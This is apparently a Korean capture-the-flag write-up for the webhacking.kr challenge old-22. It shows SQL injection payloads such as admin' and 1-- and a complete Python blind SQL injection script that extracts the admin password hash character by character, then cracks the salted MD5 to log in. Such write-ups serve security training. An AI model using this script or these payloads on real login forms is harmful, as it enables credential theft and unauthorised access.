old-22 (500)

첫 화면이다.

join 버튼을 눌러 username과 password를 모두 aaaaa 로 하여 가입을 하고 로그인을 했더니 아래와 같이 나타났다.

hashes.com 에서 복호화를 진행하면 아래와 같은 결과가 나온다.

즉, 가입한 입력한 password 값 뒤에 apple 을 붙이고 MD5로 해싱한다고 유추할 수 있다.

다시 돌아와서 username에 admin' and 1-- 을 넣고 login 버튼을 누르면 아래와 같이 나타난다.

username에 admin' and 0-- 을 넣고 login 버튼을 누르면 아래와 같이 나타난다.

이를 이용해 Blind SQL Injection을 파이썬 코드로 구현하면 아래와 같다.

import requests

URL = 'https://webhacking.kr/challenge/bonus-2/'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Wrong password!'


def query(payload):
    data = {'uuid': payload}
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.post(URL, data=data, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 32
def find_pw_length():
    pw_len = 1
    while query("admin' and length(pw)={}#".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# 6c9ca386a903921d7fa230ffa0ffc153
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("admin' and ord(substr(pw,{},1))={}#".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()

실행 결과, pw 값은 6c9ca386a903921d7fa230ffa0ffc153 이다.

이 값을 MD5로 복호화하면 wowapple 이 나온다.

username에 admin , password에 wow 를 넣고 login 버튼을 누르면 문제가 풀린다.

Last updated

Was this helpful?